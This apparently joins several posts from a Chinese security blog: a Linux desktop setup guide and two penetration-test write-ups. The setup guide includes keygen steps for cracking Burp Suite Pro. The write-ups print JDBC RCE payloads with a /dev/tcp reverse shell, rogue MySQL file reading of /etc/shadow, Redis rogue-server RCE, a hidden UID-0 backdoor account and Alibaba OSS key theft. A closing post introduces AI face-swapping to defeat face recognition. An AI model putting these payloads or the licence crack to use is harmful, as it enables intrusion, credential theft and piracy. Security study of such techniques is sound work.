QQ 官方打包的 Linux 版本基本上很完美了,官网地址为:QQ Linux版-轻松做自己,直接下载打包好的 deb 包安装即可:
sudo gdebi xxxxx.deb同样为了更好的体验和中文输入,我们需要编辑配置文件:
sudo vim /usr/share/applications/qq.desktop 主要修改如下:
Exec=env GTK_IM_MODULE="fcitx" QT_IM_MODULE="fcitx" XMODIFIERS="@im=fcitx" /opt/QQ/qq --enable-wayland-ime %U强制让 QQ 的图片查看器窗口走悬浮规则,编辑窗口配置文件:
sudo ~/.config/UserConfigs/WindowRules.conf新增如下规则:
windowrulev2 = float, title:QQwindowrulev2 = float, title:图片查看器
sudo vim /usr/share/applications/typora.desktop主要修改内容如下:
Exec=typora --enable-features=UseOzonePlatform --ozone-platform=wayland --ozone-platform-hint=auto --enable-wayland-ime %U不知道什么时候网易云音乐官方居然下架了 Linux 的下载安装包,真的太令人失望了,好在经过本文下面的评论去网友 @like 的提醒,在麒麟的下载源里面找到了网易云音乐的 deb 包版本,我们直接下载即可:
https://software.openkylin.top/openkylin/yangtze/pool/all/netease-cloud-music_1.2.1_amd64.deb
或者直接下载官方当成的链接也行:
https://d1.music.126.net/dmusic/netease-cloud-music_1.2.1_amd64_ubuntu_20190428.deb
直接安装:
sudo gdebi netease-cloud-music_1.2.1_amd64.deb但是由于缺少 libgio-2.0.so.0 是无法直接打开的,把文件复制到 /opt/netease/netease-cloud-music/libs/ 下:
sudo cp libgio-2.0.so.0 /opt/netease/netease-cloud-music/libs/libgio-2.0.so.0修改网易云的启动命令脚本:
sudo vim /opt/netease/netease-cloud-music/netease-cloud-music.bash 主要在倒数第二行加入:
cd /lib/x86_64-linux-gnu/
虽然这样可以正常启动了,但是发现网易云音乐爆来网络相关的错误:

但是网上好像也没有人解决这个问题,就这样吧~ 虽然不能使用账号和密码登陆,但是可以直接微信扫码登录,虽然不能听每日推荐,但是登录成功的话,其他功能好像也都正常,就先这样吧:
既然网易云音乐官方 Linux 平台摆烂,那我们不用也罢,大家可以试试看 YesPlayMusic,这是一个高颜值的第三方网易云播放器,Linux 下的体验也是很棒的:
白鸽~乌鸦~相爱~的~戏码~
只会~出现在~童话~
主要安装一下 pyenv 环境:
curl https://pyenv.run | bash安装完成后配置 zsh 变量:
echo 'export PYENV_ROOT="$HOME/.pyenv"' >> ~/.zshrcecho '[[ -d $PYENV_ROOT/bin ]] && export PATH="$PYENV_ROOT/bin:$PATH"' >> ~/.zshrcecho 'eval "$(pyenv init -)"' >> ~/.zshrcpyenv 安装好之后,安装 Python 也很简单:
# 查看已经安装的Python版本➜ pyenv versions# 查看当前的 Python 版本➜ pyenv version# 查看可安装的版本➜ pyenv install -l# 安装与卸载 pypy3.8-7.3.11➜ pyenv install pypy3.8-7.3.11➜ pyenv uninstall pypy3.8-7.3.11版本切换确实很方便,所安装的版本都在 ~/.pyenv/versions 目录下:
# global 全局设置 一般不建议改变全局设置➜ pyenv global <python版本># shell 会话设置 只影响当前的shell会话➜ pyenv shell <python版本># 取消 shell 会话的设置➜ pyenv shell --unset# local 本地设置 只影响所在文件夹➜ pyenv local <python版本>pyenv 的 global、local、shell 的优先级关系是:shell > local > global
类似于 pyenv 一样,这里我们安装 Node.js 使用的是 nvm 进行多版本 NodeJS 管理。
curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.40.0/install.sh | bash基本的用法如下:
# 查看当前 node 的版本nvm version # 安装最新稳定版 nodenvm install stable# 列出所有远程服务器的版本nvm ls-remote# 安装指定版本nvm install v18.16.1nvm install <version># 列出所有已安装的版本nvm ls# 卸载指定的版本nvm uninstall <version># 切换使用指定的版本nodenvm use <version># 显示当前的版本nvm current# 使用 node 6.10.3 运行 app.jsnvm run 6.10.3 app.js# 在当前 shell 设置默认的 node 版本nvm alias default 8.1.0有了 Node.js 了,自然就可以安装 Hexo 了,国光的这个博客就是 Hexo 搭建的,所以对于我来说 Hexo 还是挺重要的。
# 安装 Hexonpm install hexo-cli -gHexo 的基础命令:
hexo clean # 清除缓存hexo g # 生成静态文件hexo s # 启动 Hexo 服务首先在 BP 官网下载最新的 Pro 安装包:
chmod +x burpsuite_pro_linux_v2024_8_1.sh./burpsuite_pro_linux_v2024_8_1.sh全部默认回车安装下去就行:
下载最新版本的注册机,拷贝到 BP 的安装目录下:
mv BurpLoaderKeygen_v1.17.jar ~/BurpSuitePro直接运行注册机:
~/BurpSuitePro/jre/bin/java -jar ~/BurpSuitePro/BurpLoaderKeygen_v1.17.jar点击Run,输入许可证然后选择手动激活即可:
为了日后方便使用,直接修改~/BurpSuitePro/BurpSuitePro.vmoptions, 增加以下参数:
--add-opens=java.base/java.lang=ALL-UNNAMED--add-opens=java.base/java.lang=ALL-UNNAMED--add-opens=java.base/jdk.internal.org.objectweb.asm=ALL-UNNAMED--add-opens=java.base/jdk.internal.org.objectweb.asm.tree=ALL-UNNAMED--add-opens=java.base/jdk.internal.org.objectweb.asm.Opcodes=ALL-UNNAMED-javaagent:BurpLoaderKeygen_v1.17.jar-noverify发现在 hyprland 下 BP 的鼠标有点大,不过我们可以添加 env XCURSOR_SIZE=24 参数来解决鼠标变大的问题:
#!/usr/bin/env xdg-open[Desktop Entry]Type=ApplicationName=Burp Suite ProfessionalExec=env XCURSOR_SIZE=24 "/home/x-x/BurpSuitePro/BurpSuitePro" %UMimeType=application/x-extension-burp;Icon=/home/x-x/BurpSuitePro/.install4j/BurpSuitePro.pngCategories=Application;StartupWMClass=install4j-burp-StartBurpcUbuntu 24.10 每日更新版本目前还无法使用 Docker 官方的脚本来安装,且无法安装 Docker Desktop,不过没关系,自带的 APT 里面的包也可以直接安装 Docker:
sudo apt install docker.iosudo apt install docker-registrysudo apt install docker-docsudo apt install docker-compose# 将当前用户赋予 docker 的操作权限sudo usermod -aG docker `whoami`安装完成后重启即可使用 Docker。
这里提到了 Docker,顺便直接讲一下 ZeroTier 的搭建吧,本文主要讲解一下如何在同一个系统下,使用双 planet 来运行两个 ZeroTier,而且不冲突,像这种单机多 planet 的情况,估计网上也没人折腾,但是国光这里还是研究成果了,下面简单说下一方法,懂得人都懂。
首先我们需要借助 xubiaolin/docker-zerotier-planet: 一分钟私有部署zerotier-planet服务 (github.com) 项目来搭建自己的 ZeroTier 中转服务器,每个自己的私服都有自己对应的 planet 文件,我们使用不同的 planet 文件即可连接不同的 ZeroTier 服务。
首先我们本地需要安装好官方的 ZeroTier 客户端:
curl -s https://install.zerotier.com | sudo bash安装完成后,使用直接设置开机自启然后加入网络即可:
# 设置 zerotier 开机自启systemctl enable zerotier-one.service# 备份官方的 planet 文件mv /var/lib/zerotier-one/planet /var/lib/zerotier-one/planet.bak# 下载替换你的 plantxxxxxxx 此处省略 xxxxxxxx# 启动 zerotier 服务systemctl start zerotier-one.service另一个客户端我们使用 Dockre 版本的:
docker run --name zerotier-one --device=/dev/net/tun --net=host --cap-add=NET_ADMIN --cap-add=SYS_ADMIN -v /home/x-x/Tools/zerotier/:/var/lib/zerotier-one -d zyclonite/zerotier其中 /home/x-x/Tools/zerotier/ 设置为你自己的本地文件夹。
因为两个 ZeroTier 的客户端端口会有冲突,必定只能运行 1 个,所以我们需要手动修改 Docker 的端口为其他端口:
vim /var/lib/zerotier-one/local.conf这里国光我修改为了 9333 端口:
设置完成后就可以同时使用 2 个 ZeroTier 的不同 planet 了 :
最后记得设置一下容器的开机自启:
docker update --restart unless-stopped zerotier-one QEMU 是 Linux 下原生的虚拟化方案,体验还是非常非常丝滑的,Ubuntu 安装的话也比较简单:
sudo apt install qemu-kvm libvirt-daemon-system libvirt-clients virtinst bridge-utils virt-manager virt-viewer启动和启用 libvirt 服务:
sudo systemctl enable libvirtdsudo systemctl start libvirtd当前用户添加到 libvirt 和 kvm 组,以便不需要使用 root 权限进行管理:
sudo usermod -aG libvirt $(whoami)sudo usermod -aG kvm $(whoami)重启系统生效功能更改。

总的来说 KVM 的虚拟机虽然和 macOS 下的 PD 流畅度还是没法比,但是也不错了:
Waydroid 使用 Linux 命名空间(user、pid、uts、net、mount、ipc)在容器中运行完整的 Android 系统,并在任何基于 GNU/Linux 的平台(arm、arm64、x86 x86_64)上提供 Android 应用程序。
sudo apt install curl ca-certificates -ycurl https://repo.waydro.id | sudo bash提示:
[!] Distribution "oracular" is not supported手动把 oracular 添加到安装脚本里面:
再次运行:
chmod +x install.shsudo ./install.sh执行完成后直接安装即可:
sudo apt install waydroid -y国光这里选择了 GAPPS 带谷歌框架的版本类型,在点击 Download 前建议 Clash 开启 TUN 模式下载安装:
安装完成的效果如下:
默认显示的界面有点胖胖的,很不舒服,我们可以修改 hyprland 的配置文件来自定义启动界面大小:
waydroid prop set persist.waydroid.width 506重启 waydroid 生效:
waydroid session stop这个模拟器虽然很丝滑,但是默认情况下是没法跑 ARM APK 的,而国内很少有原生的 x86 APP,所以还是有必要安装一下 ARM 相关的转译的依赖的。
# 下载拷贝项目git clone https://github.com/casualsnek/waydroid_scriptcd waydroid_scrip# 使用 3.8.20 的 pyenv 虚拟环境pyenv local 3.8.20# 更新一下最新的 pippython -m pip install --upgrade pip -i https://mirrors.tuna.tsinghua.edu.cn/pypi/web/simple # 安装脚本相关的依赖python -m pip install -r requirements.txt -i https://mirrors.tuna.tsinghua.edu.cn/pypi/web/simple运行脚本:
sudo -ipython main.py命令行图形化界面我的选项供大家参考:
这样就可以正常打开我们常用的 APP 了:
# 当前会话关机waydroid session stop# 重启 waydroid 服务sudo systemctl restart waydroid-container.service # 安装 adb 开发工具apt install adb# 安装 apk 包waydroid app install /xxx/xxx/xx.apk# adb 使用 IP 连接 (关于本机查看)adb connect 192.168.x.x:5555手动安装 BP 证书:
# 对 BP 证书进行转换openssl x509 -inform DER -in cacert.der -out cacert.pem# 计算 BP 证书 hashcert_hash=$(openssl x509 -subject_hash_old -in cacert.pem | head -1)# 创建证书文件夹sudo mkdir -p /var/lib/waydroid/overlay/system/etc/security/cacerts/# 导入证书sudo cp cacert.pem /var/lib/waydroid/overlay/system/etc/security/cacerts/${cert_hash}.0或者借助 waydroid_script 项目,直接导入证书也可以:
sudo python3 main.py install mitm --ca-cert cacert.pem接着手动将模拟器设置本地的代理:
adb shell settings put global http_proxy "ip:port" 如果取消代理则使用下面命令:
adb shell settings delete global global_http_proxy_hostadb shell settings delete global global_http_proxy_portadb shell settings delete global http_proxy这样就可以正常抓包测试了。
Genymotion 下载安装很简单,直接官网下载对应的安装包即可,记得注册一下对应的账号,虽然是免费版本的,表面上不支持开启 root 权限:
实际上手动进 adb 发现还是可以直接切换到 root 用户的:
这个模拟器虽然很丝滑,但是默认情况下是没法跑 ARM APK 的,而国内很少有原生的 x86 APP,所以还是有必要安装一下 ARM 相关的转译的依赖的。
本次转译借助:https://github.com/niizam/Genymotion_A11_libhoudini 项目来实现,下面是一些操作细节:
打开 Android 11 模拟器,下面直接在命令行下操作
# 进入 adb 切换 root 用户,将系统根目录挂载为可读写adb shellsumount -o rw,remount /# 写入内容echo 'ro.product.cpu.abilist=x86_64,x86,arm64-v8a,armeabi-v7a,armeabiro.product.cpu.abilist32=x86,armeabi-v7a,armeabiro.product.cpu.abilist64=x86_64,arm64-v8aro.vendor.product.cpu.abilist=x86_64,x86,arm64-v8a,armeabi-v7a,armeabiro.vendor.product.cpu.abilist32=x86,armeabi-v7a,armeabiro.vendor.product.cpu.abilist64=x86_64,arm64-v8aro.odm.product.cpu.abilist=x86_64,x86,arm64-v8a,armeabi-v7a,armeabiro.odm.product.cpu.abilist32=x86,armeabi-v7a,armeabiro.odm.product.cpu.abilist64=x86_64,arm64-v8aro.dalvik.vm.native.bridge=libhoudini.soro.enable.native.bridge.exec=1ro.enable.native.bridge.exec64=1ro.dalvik.vm.isa.arm=x86ro.dalvik.vm.isa.arm64=x86_64ro.zygote=zygote64_32' | tee -a /system/build.prop >> /system/vendor/build.prop从官方的 Release 页面下载 system.zip,直接拖入到模拟器中,根据提示直接确认刷入:
刷入完成后直接重启模拟器即可。
这样就可以正常打开我们常用的 APP 了:
你这辈子有没有因为没有折腾过 Arch Linux 而感觉遗憾?有没有厌倦了无聊的 Ubuntu?有没有想给自己找点事情做,充实一下自己?那就赶紧试试看 Arch Linux 吧!
最近家电下乡各种优惠补贴很多,国光我也忍不住剁手下单了一台性价比很高的笔记本,机械革命无界15X 暴风雪版本,默认是 32 + 1TB 的配置,我也自行升级了一下,目前详细的配置如下:
| 组件 | 型号 |
|---|---|
| CPU | AMD Ryzen™ 7 8845HS 8大核16线程 最大睿频 5.1Ghz |
| GPU | AMD Radeon™ 780M(GTX 1060级别) |
| 电池 | 99Wh 超大电池 |
| 内存 | 48GB 双 24GB DDR5 5600Mhz |
| SSD1 | 出厂自带的英睿达 P3 Plus PCIe4.0 1TB |
| SSD2 | 西数 SN770 PCIe 4.0 2TB |
| 屏幕 | 15.3 寸 16:10 比例 2560x1600分辨率 120Hz 400nits IPS |
| 网卡 | Intel WiFi6 AX200 160Mhz + 裕太微千兆有线网卡 YT6801 |
Arch Linux 是一个滚动更新发行版,旨在提供简单而高效的用户体验。它以其极简主义和高度可定制性而闻名,非常适合那些喜欢自己动手配置系统的技术爱好者和高级用户。
滚动更新是指发行版不断地发布小规模的更新,从而保持系统的最新状态。比传统的 Ubuntu 这类发行版更新更快,用户只需定期更新系统,就能获得最新的软件和功能,从而体验到最新的技术和改进。
当然也有一些缺点,就是最新的软件和技术会带来更多的不稳定性和兼容性问题,而且需要定期更新,如果长时间不更新 Arch Linux 系统,那么突然一次更新后可能会带来更多痛苦的依赖关系、配置文件冲突、内核和驱动等问题。
所以最好的办法就是养成定期更新的习惯,确保系统始终保持在最新和最稳定的状态。
都说 Arch Linux 安装复杂,其实如果你之前了解黑苹果的话,会发现难度其实还行,至少有资料可以参考,而黑苹果相关的资料就非常稀少了。
首先在官网下载 Arch Linux 的 ISO 镜像文件,然后使用Rufus - 轻松创建 USB 启动盘
如果是台式机插网线的话,默认情况下会自动获取到 DHCP 地址,笔记本的话一般要手动连接 WiFi 来使用网络。
启动 iwctl 交互模式:
iwctl下面是 iwctl 交互模式下常用的命令:
# 查看 WiFi 忘啦device list# 扫描可用网络station wlan0 scan# 显示扫描结果station wlan0 get-networks# 连接 WiFistation wlan0 connect XXXX# 连接隐藏 WiFistation wlan0 connect-hidden XXXX连接好 WiFi 后手动验证一下是否联网成功:
# 查看是否获取到 IP 地址ip a# 测试网络是否通畅ping www.sqlsec.com
archinstall 是一个官方的 Arch Linux 安装脚本,旨在简化 Arch Linux 的安装过程。传统上,Arch Linux 原本的安装是一个手动过程,需要用户执行一系列命令来分区、格式化磁盘、设置系统和安装软件包。archinstall 提供了一个更自动化和用户友好的方式来完成这些任务。
在命令行中,输入以下命令启动 archinstall:
archinstall下面是最终的配置信息:
其中 Disk configuration 磁盘分区这里我们选择 Manual Partition 手动分区:

选择好我们要安装系统的硬盘:
手动创建一个 500MB 大小 Fat32 格式的 /boot 引导启动分区,用于存放系统的 EFI 引导:
然后直接创建一个 800GB 大小的 Ext4 格式的 / 根目录分区,非常简单粗暴:
最终磁盘分区的效果如图:

除了没有听官网建议搞个 swap 分区,其他的基本上是对齐的:
桌面环境这块国光我选择了常见主流的桌面,全部都安装了一遍,当然你们不用像我这样操作,选择自己合适的桌面就行:
由于还选择了 Hyprland 桌面,需要相关权限,我们这里选择了默认的第一个 polkit:
显卡驱动这块因为我的笔记本是 AMD 780M A核显,所以我只选择了 AMD 显卡驱动,默认的欢迎页面使用了 Deepin Linux 的 lightdm-gtk-greeter 登录页:
最后由于我对性能要求比较高,直接使用了 zen 内核:
最后安装完成后选择 no ,不进入 chroot 环境再配置了:

安装没有报错,直接拔掉 U 盘,选择 reboot 重启吧:
重启后默认的是 DDE 的登录界面,而且可以选择我们上面安装好的各种各样的桌面环境:
但是呢,国光我后面发现自己喜欢的应该不是 Arch Linux,我喜欢的是 Hyprland 酷炫的平铺式桌面,所以后面我的笔记本安装的是 Ubuntu 24.10 和 Windows 11 双系统了,后续有机会单独搞个小主机安装 Arch Linux 来把后续内容给更新上,暂时就这样先咕咕咕了。
]]>渗透测试是一个很考验知识面的工作,如果你的知识面不够广,可能就会错失一次 getshell 的机会,当然这些前提是你的信息收集要足够充分才行,所以还是那句话,渗透测试的第一步是信息收集。
最近 HW 要开始了,准备对金融行业的一次供应商下手,从供应商角度进行渗透难度门槛确实要低很多了,本文就是其中一个供应商渗透的一个经典素材,本文均做打码处理,发出来仅做思路学习分享,共勉!
拿到系统的 Web 界面的时候,先别想着直接系统后台 getshell,先把系统整体过一遍, 我们这里运气就比较好,直接翻到了系统里面的测试的 MySQL 敏感信息了:
开门红呀,这次渗透运气居然这么好?!
连接很顺利啊,上面翻到的数据库密码居然真的可以连接:
但是好像敏感数据不是很多,emmmm
算了算了,就知道渗透不会这么顺利简单的,我们还是得想办法好好深入渗透一下。
Druid Monitor 是 Java 网站下常用的数据库连接池,很多开发者习惯性的直接暴露在公网上,我们经常可以未授权直接访问或者弱口令爆破一下,幸运的是,本网站的 Druid Monitor 也被我们成功拿下,发现这个 Java 站点用了几个数据库相关的驱动 Jar 包:

主要和数据库相关的 JDBC 驱动信息相关内容整理如下:
所以真正可以跑起来的也就这 3 个数据库,网站支持数据源接入,界面如下:
可以看到这就是虚假宣传呀,前端写了支持这么多数据库接入,但是还好我们通过 Druid Monitor 瞅了一眼 JDBC 相关的驱动,否则可能会走不少弯路。
其实如果我们可以操控数据源的话,就相当于间接的操作了 JDBC 的字符连接串,相关的漏洞很多,从 IBM 的 DB2 数据库,到 PostgreSQL 以及常见的 MySQL 历史上都出现一些重大的 RCE 级别的 CVE 漏洞的,我们多关注这些 CVE 漏洞必要时还是很有用的。
常见的 JDBC RCE 漏洞国光我简单列举几个吧:
BLUDB:clientRerouteServerListJNDIName=ldap://{IP};jdbc:db2://x.x.x.x:3306/BLUDB:clientRerouteServerListJNDIName=ldap://x.x.x.x:1389/Deserialization/CommonsCollectionsK1/Command/Base64/xxxxxxx=;在版本 >= 8.0.20, >= 5.1.49 中, 此漏洞已经被修复
https://github.com/mysql/mysql-connector-j/commit/de7e1af306ffbb8118125a865998f64ee5b35b1b
https://github.com/mysql/mysql-connector-j/commit/13f06c38fb68757607c460789196e3f798d506f2
网上一键利用的项目挺多,比如国光常用的有:rmb122/rogue_mysql_server
?allowLoadLocalInfile=true&allowUrlInLocalInfile=true依然可以使用 rmb122/rogue_mysql_server 项目来进行文件读取利用
test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://1.1.1.1/exp.xmlexp.xml 内容如下:
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation=" http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"><bean class="java.lang.String"><property name="whatever" value="#{T(java.lang.Runtime).getRuntime().exec('bash -c {echo,YmFxxxxxxxxxxxxxxxxxxxxxxxxxgMD4mMQ==}|{base64,-d}|{bash,-i}')}"/></bean></beans>jdbc:postgresql:///?loggerLevel={loggerLevel}&loggerFile={loggerFile}&shellContent利用案例细节:
"dbName": "21\u000a*/1 * * * * bash -i >& /dev/tcp/1.1.1.1/4444 0>&1\u000a?loggerLevel=DEBUG&loggerFile=../../../../../../../../../../../../../../../../var/spool/cron/root&", "driverName": "org.postgresql.Driver",其实 JDBC 历史上漏洞确实很多,就比如阿里云安全团队在 HITB Singapore 2021 会上提到的一个比较实用的议题:《Make JDBC Attack Brilliant Again 》 虽然这个议题今年 12 年8 月份就公布了,但是国内的渗透师用 JDBC 日站的比较少。
这个议题的主要内容如下:
对这个议题感兴趣的师傅们,关注公众号回复 jdbc 即可获取议题 PPT的下载链接。

很不幸,我们这个网站使用的是 mysql-connector-j-8.3.0.jar 和 postgresql-42.4.5.jar 高版本,敲好我们上面准备的 RCE 利用姿势没法直接使用:
但是好在存在 MySQL JDBC 文件读取姿势可以利用,我们通过 Web 界面构造好 JDBC 连接串,一般我们通常在 DB 数据库名后面配置拼接,比如这里我们填写的数据库名为:
test?allowLoadLocalInfile=true&allowUrlInLocalInfile=true#然后在数据源里面填好我们通过 rmb122/rogue_mysql_server 项目启动的假的 MySQL 的服务器信息:
尝试读取 /etc/shadow 居然都成功的,看来权限很高呀:
既然是高权限的文件读取,我们可读的文件就灵活很多了:
在只有文件读取权限的情况下,不知道敏感文件的具体路径,这个时候就有点盲人摸象的感觉,全靠运气和细致的信息收集了:
翻一下 root 用户敲的命令是一个很常见实用的思路,我们来康康到底有啥,我们定位到了一个 yml 的配置文件和另一个 139 开头的服务器信息:
可惜通过文件读取 SSH 相关的敏感信息,该服务器并不是通过公私钥来进行 SSH 远程控制 139 服务器的,所以我们没法直接去接管 139 服务器,只能想办法看看这个 application-dev.yml 的文件内容了。
通过 .bash_history 历史命令记录:
提取关键信息如下:
cdlscd deploylsll./deploy.sh es dev所以可以反推出 deploy.sh 的绝对路径信息为:
/root/deploy/deploy.sh通过读取 /root/deploy/deploy.sh 的内容,我们需要来确定好 yml 配置文件的路径:
提取关键信息如下:
#判断参数个数if [ $# != 2 ]; thenecho "参数个数不正确 请输入 1.项目(es,ts) 2.环境(dev,sit,uat,prd)"exit 1fi# 定义变量basePath=~/deploymainClass=App# 获取参数app=$1env=$2# 判断参数是否正确if [ "$app" != "es" ] && [ "$app" != "ts" ]; then echo "请输入正确的参数:es 或 ts" exit 1fiif [ "$env" != "dev" ] && [ "$env" != "sit" ] && [ "$env" != "uat" ] && [ "$env" != "prd" ]; then echo "请输入正确的参数:sit 或 uat 或 prd" exit 1fi# 启动echo "启动"cd $basePath/$app/nohup java -Xms1024m -Xmx4096m -Dlogback.configurationFile=$basePath/$app/logback.xml -classpath "$basePath/lib/*:$basePath/$app/df-$app.jar" com.skyon.$mainClass --spring.config.location=$basePath/$app/application-$env.yml 2>&1 &所以可以推测出 application 相关的配置文件有以下几个可能:
上面有 8 种可能,期间读取失败了很多次,都是一些没敏感信息的配置文件:
这些无效信息并不能让我们继续深入下去,继续赌一把,继续读取看看,毕竟还有几个可能的路径没有尝试呢?
终于,这次赌对了,居然真的在一个 dev 配置文件里面读取了 139 服务器的 Redis 的密码,这个密码虽然被注释了,但是还是被我们发现了:
我们来连接看看,居然真的连接成功了:
运气开始好起来了:
虽然 Redis 里面的超级管理员的密码是加密的:
但好在 Redis 是 5.0.3 低版本:
所以利用 https://github.com/Dliv3/redis-rogue-server 项目:
直接加载 exp.so 来命令执行,成功拿到 139 服务器的 root 权限:

这个 Redis CLI 交互不是很方便,第一步直接反弹 tty shell 到外网服务器:
添加一个 ibm2 密码为 P@ssw0rd 的 root 权限用户:
useradd -p `openssl passwd -1 -salt 'salt' P@ssw0rd` ibm2 -o -u 0 -g root -G root -s /bin/bash -d /home/guest成功登录,进入内网:

新的内网渗透即将开始了,「新的风暴已经出现,怎么能够停滞不前。」好了,本文篇幅有限,接下来就不继续展开了:
本文可能实际上也没有啥技术含量,但是写起来还是比较浪费时间的,在这个喧嚣浮躁的时代,个人博客越来越没有人看了,写博客感觉一直是用爱发电的状态。如果你恰巧财力雄厚,感觉本文对你有所帮助的话,可以考虑打赏一下本文,用以维持高昂的服务器运营费用(域名费用、服务器费用、CDN费用等)
微信 ![]() | 支付宝 ![]() |
国光我还重写打赏页面 用以感谢 支持我的朋友,详情请看 打赏列表 | 国光
亲爱的读者们,在这个信息爆炸的时代,网络安全的重要性日益凸显,但同时,这个行业的挑战和误解也随之而来。作为一名网络安全的忠实守护者,我有幸在这个领域深耕多年,见证了无数技术的进步与变迁。
我始终坚信,知识的力量能够改变世界。因此,我用心制作了网络安全系列课程,不仅希望传授给大家宝贵的知识,更希望激发大家对网络安全的热爱和责任感。现在,我正准备推出第二期课程,并更新备受期待的内网安全教程,这是我对网络安全教育事业的承诺和热爱。
然而,正如大家所知,网络安全行业充满了不确定性和挑战。攻击门槛也在不断提高,即便是有 10 年经验的安全专家,有时也可能无法及时发现最新的漏洞,甚至在外人眼中,他们的努力和成就可能与实习生无异。但我相信,真正的价值和成就,是在于我们对知识的执着追求和对技术的不懈探索。
在完成这些课程后,我将暂时离开网络安全领域,转向其他行业。这不仅是一个艰难的决定,也是一个新的开始。但在此之前,我希望能够完成我的心愿,为大家带来更高质量的课程。
如果您对我的课程感兴趣,或者认同我对网络安全教育的执着和热情,请考虑购买我的课程,支持我的工作。您的支持不仅是对我努力的认可,更是对网络安全教育事业的一份贡献。
感谢每一位读者的陪伴和支持,让我们共同守护这个数字世界的安全!
]]>现在 OSS对象存储应用广泛,但开发者安全意识普遍较低,方便之余的同时也会随之带来一些安全风险。虽然本文的场景不是那种 APP 或者源码里面硬编码泄露的 AK 和 SK ,敏感信息虽然都放在了后端服务器,但是还是一点点通过信息收集逐步沦陷。
现在 OSS对象存储应用广泛,但开发者安全意识普遍较低,方便之余的同时也会随之带来一些安全风险。虽然本文的场景不是那种 APP 或者源码里面硬编码泄露的 AK 和 SK ,敏感信息虽然都放在了后端服务器,但是还是一点点通过信息收集逐步沦陷。
对 xxx 小程序进行测试,发现未登录是没法交互的,现在很多小程序都是这样,不登录啥也看不到啊!
不过好在小程序这些解包还是很方便的,我们尝试解包分析小程序,居然发现了测试环境的域名信息:
根据这个域名解析的 IP 使用 fofa 来搜索资产很快找到了这个小程序的一个后端网址信息:
好家伙,还是需要登录才可以,我们又被拦在门外了!
但是作为一个专业的渗透测试工程师,是不能放过任意一个细节的,好消息我们真的发现了前段的 js.map 泄露文件:
虽然被注释了,但是开发者真的没有删除哎:
使用 reverse-sourcemap 项目:https://github.com/davidkevork/reverse-sourcemap
来恢复出 Vue 的源码,可以帮助我们进一步分析网站的一些后端接口:
其实也不是严格的代码审计啦,就简简单单看看前端接口的一些逻辑。
代码审计发现系统应该是存在 OSS 上传服务的,所用的服务器是阿里云的 OSS,也找到了对应的接口信息:
OSS 的 KEY 和 Secret 推测是后端写死的,我们通过前端代码无法直接查看,存放 OSS 这些敏感配置的接口为: /Backend/Common/Common/uploadOssData 这和之前我们调试小程序,发现的敏感配置接口也对得上了:
通过对 index.js 代码阅读审计,可知提交的数据包需要:timestamp、nonce 随机字符串和 sign 签名,其中 sign 签名就是上面几个条件的 md5 的大写:
所以我们可以自己构造 POST 接口和这个 uploadOssData 接口交互:

成功交互了,提示文件名称不能为空,但是尝试添加 file 和 filename 均失败了!
继续回到小程序调试部分,发现这个文件名参数应该可能就是 name !!!
什么!我们居然真的成功和接口交互,拿到了阿里云OSS 非常关键的 access_key_id 和 access_key_secret 了!
其中还有 STS Token ,这是一个具有时效性的 key,这里返回的信息默认是被转义了,我们手动将 \/ 替换成 / 即可。
使用阿里云官方的 OSS 浏览器:
成功接管了很多个对象存储 bucket,这样 OSS 里面的文件均可以增删改查:
发现上海的 ECS 系统备份文件,大小为 18GB 多 :
还有一些数据库相关文件:

以及一些生产服务器的日志相关文件:
其实这里没法深入利用了,但是正常情况下我们一般是需要试试看阿里云的 OSS Key 是不是可以顺便接管服务器,因为正常开发者没有遵循权限最小化原则,往往是不会单独给 OSS 配置最小化的 AK 和 SK 的,大多数情况下都是可以成功的,国光我也历史上使用这个方法接管了不少阿里云服务器。
因为我们这里的 OSS Key 还有 STS Token,所以传统的行云管家等工具是没法直接测试利用的。最后国光这里使用
https://github.com/iiiusky/alicloud-tools 项目来尝试深入利用:
可以正常交互查询:
只不过泄露的 SAK ,SSK 以及 STS Token 居然真的遵循了最小化原则,并没有 ECS 服务器收到牵连:
好的本次渗透测试就到此结束了,虽然没有直接接管到服务器,但也是一个经典的信息收集逐步深入的素材了,就发公众号分享给大家把,就这样,溜了溜了。
对了,对渗透感兴趣的出学者们,欢迎扫描了解一下文章中最下面的安全课程哦~
本文可能实际上也没有啥技术含量,但是写起来还是比较浪费时间的,在这个喧嚣浮躁的时代,个人博客越来越没有人看了,写博客感觉一直是用爱发电的状态。如果你恰巧财力雄厚,感觉本文对你有所帮助的话,可以考虑打赏一下本文,用以维持高昂的服务器运营费用(域名费用、服务器费用、CDN费用等)
微信 ![]() | 支付宝 ![]() |
国光我还重写打赏页面 用以感谢 支持我的朋友,详情请看 打赏列表 | 国光
亲爱的读者们,在这个信息爆炸的时代,网络安全的重要性日益凸显,但同时,这个行业的挑战和误解也随之而来。作为一名网络安全的忠实守护者,我有幸在这个领域深耕多年,见证了无数技术的进步与变迁。
我始终坚信,知识的力量能够改变世界。因此,我用心制作了网络安全系列课程,不仅希望传授给大家宝贵的知识,更希望激发大家对网络安全的热爱和责任感。现在,我正准备推出第二期课程,并更新备受期待的内网安全教程,这是我对网络安全教育事业的承诺和热爱。
然而,正如大家所知,网络安全行业充满了不确定性和挑战。攻击门槛也在不断提高,即便是有 10 年经验的安全专家,有时也可能无法及时发现最新的漏洞,甚至在外人眼中,他们的努力和成就可能与实习生无异。但我相信,真正的价值和成就,是在于我们对知识的执着追求和对技术的不懈探索。
在完成这些课程后,我将暂时离开网络安全领域,转向其他行业。这不仅是一个艰难的决定,也是一个新的开始。但在此之前,我希望能够完成我的心愿,为大家带来更高质量的课程。
如果您对我的课程感兴趣,或者认同我对网络安全教育的执着和热情,请考虑购买我的课程,支持我的工作。您的支持不仅是对我努力的认可,更是对网络安全教育事业的一份贡献。
感谢每一位读者的陪伴和支持,让我们共同守护这个数字世界的安全!
]]>AI 近几年发展很快啊,我们作为安全从业者当然也需要不断学习,未知攻,焉知防,所以本文就来带大家手把手的使用 AI 实时换脸,然后将换脸后的画面输出给 APP 摄像头。
随着显卡算力和 AI 技术的发展,现在很多直播技术已经用到了实时换脸技术了,甚至有些 AI 换脸技术已经可以突破一些 APP 的人脸识别接口了,这也是我们安全从业者需要关注的事情。
未知攻,焉知防,所以本文就来带大家手把手的使用 AI 实时换脸,然后将换脸后的画面输出给 APP 摄像头。
